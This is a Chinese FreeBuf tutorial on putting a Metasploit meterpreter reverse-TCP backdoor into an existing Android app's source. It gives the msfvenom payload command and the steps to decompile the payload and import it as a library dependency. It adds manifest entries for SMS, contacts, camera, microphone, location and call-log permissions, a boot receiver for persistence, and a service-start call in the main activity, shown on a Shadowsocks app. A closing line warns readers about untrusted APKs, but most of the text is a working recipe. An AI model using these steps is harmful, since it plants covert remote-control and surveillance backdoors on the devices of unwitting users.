添加metasploit-payload到已有的Android项目中首席安全官频道

*本文原创作者:xiaohuanshu,首席安全官频道本文属FreeBuf原创奖励计划,未经许可禁止转载

metasploit在写这篇文章之前,笔者可以说是对java一窍不通,也从来没有写过什么Android应用,在几天的摸爬滚打中终于实现了最终的目的,就是在已有Apk源码的情况下,用了比较另类的方式,添加metasploit后门。

同时支持java/scala两种语言写的项目,主要是为了给大家提供一些思路,如果哪里写的不准确,欢迎指正。

可能有人说,目前已经有各种各样的工具,比如backdoor-apk能够感染已编译好的Apk文件,但是经过笔者的测试,这种被感染后的文件使用起来不是很稳定,而且apktool本身有缺陷,导致很多apk反编译后无法重新编译。所以,既然有源码,为何要生成apk后再注入后门?

payload分析

首先使用msfvenom生成一个payload:

msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > payload.apk

使用apktool与dex2jar反编译:

apktool d payload.apk
d2j-dex2jar payload.apk

最后用jd-gui打开d2j-dex2jar生成出的payload-dex2jar.jar

MainActivity.class - Java Decompiler JD-GUI, 今天 at 下午8.46.03.png

MainActivity.class - Java Decompiler JD-GUI, 今天 at 下午8.46.03.png

结合AndroidManifest.xml分析源码后发现,Payload的服务为com.metasploit.stage.MainService,启动服务的方式有两种,一个是主Activity(android.intent.action.MAIN),也就是点击程序图标后运行的Activity,另一个是接收android.intent.action.BOOT_COMPLETED,也就是开机自动启动服务。

MainActivity.class - Java Decompiler JD-GUI, 今天 at 下午9.04.31.png

MainActivity.class - Java Decompiler JD-GUI, 今天 at 下午9.04.31.png

MainBroadcastReceiver.class - Java Decompiler JD-GUI, 今天 at 下午9.05.16.png

MainBroadcastReceiver.class - Java Decompiler JD-GUI, 今天 at 下午9.05.16.png

启动服务的代码为

MainService.startService(context);

也就是说,只要把启动服务的代码添加到项目源码中的相应位置,就可以实现添加后门。

笔者首先想将反编译后的java源码直接添加到项目中,但无奈编译不成功,在网上查找相关资料后发现,jd-gui反编译的jar文件本身就有问题,只能做参考。

如果直接用github上payload的源码,又不知道Payload的配置串是如何加密的。

最后突然想到,既然dex2jar已经将payload转换为了jar文件,那直接将jar作为依赖包导入到工程中不就行了。

导入jar包

Android Studio

拷贝payload-dex2jar.jar到app/libs目录下

打开app目录下的build.gradle,在dependencies中添加compile files(‘libs/payload-dex2jar.jar‘)

build.gradle — ~-Downloads Atom, 今天 at 下午9.14.31.png

build.gradle — ~-Downloads Atom, 今天 at 下午9.14.31.png

Sbt/scala

拷贝payload-dex2jar.jar到lib目录下下

修改AndroidManifest.xml

选择性添加添加以下权限

可以根据需要,选择性的添加所需要的权限

<uses-permission android:name="android.permission.INTERNET" />    
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />    
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />    
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />    
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />    
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />    
<uses-permission android:name="android.permission.READ_PHONE_STATE" />    
<uses-permission android:name="android.permission.SEND_SMS" />    
<uses-permission android:name="android.permission.RECEIVE_SMS" />    
<uses-permission android:name="android.permission.RECORD_AUDIO" />    
<uses-permission android:name="android.permission.CALL_PHONE" />    
<uses-permission android:name="android.permission.READ_CONTACTS" />    
<uses-permission android:name="android.permission.WRITE_CONTACTS" />    
<uses-permission android:name="android.permission.RECORD_AUDIO" />    
<uses-permission android:name="android.permission.WRITE_SETTINGS" />    
<uses-permission android:name="android.permission.CAMERA" />    
<uses-permission android:name="android.permission.READ_SMS" />    
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />    
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    
<uses-permission android:name="android.permission.SET_WALLPAPER" />    
<uses-permission android:name="android.permission.READ_CALL_LOG"/>    
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>    
<uses-permission android:name="android.permission.WAKE_LOCK" />

<uses-feature android:name="android.hardware.camera" />    
<uses-feature android:name="android.hardware.camera.autofocus" />    
<uses-feature android:name="android.hardware.microphone" />

添加服务

<service android:name="com.metasploit.stage.MainService" android:exported="true" />

添加开机启动

如果需要添加开机启动,则必须添加android.permission.RECEIVE_BOOT_COMPLETED权限。

<receiver
      android:name="com.metasploit.stage.MainBroadcastReceiver"
      android:label="MainBroadcastReceiver">
      <intent-filter>
          <action android:name="android.intent.action.BOOT_COMPLETED" />
      </intent-filter>
</receiver>

修改源码,启动服务

java与scala相同,定位到Main Activity所在的文件中,添加import

import com.metasploit.stage.MainService;

在Activity的onCreate方法中,添加

MainService.startService(this);

MainActivity.java — ~-Downloads Atom, 今天 at 下午9.31.17.png

MainActivity.java — ~-Downloads Atom, 今天 at 下午9.31.17.png

Shadowsocks.scala — ~-Downloads Atom, 今天 at 下午9.29.54.png

Shadowsocks.scala — ~-Downloads Atom, 今天 at 下午9.29.54.png

编译、签名、测试

编译与签名的环节就略过了,最终的测试结果非常满意,无论是打开程序运行与开机自动运行都成功,并且连接很稳定

2. msfconsole (ruby) iTerm2, 今天 at 下午9.38.59.png

2. msfconsole (ruby) iTerm2, 今天 at 下午9.38.59.png

后记

通过导入jar包的方式添加后门也算是另类的方式了吧,不过也算很方便了,jar包只要生成一次,就可以当做一个依赖包添加到所有Android项目中。当然一定还有更好的方法,本文只是提供一个思路。

同时提醒大家留意来路不明的Apk文件,防止被安装后门,信息安全不容小视。

*本文原创作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载

2017-01-19 06:27 阅读:96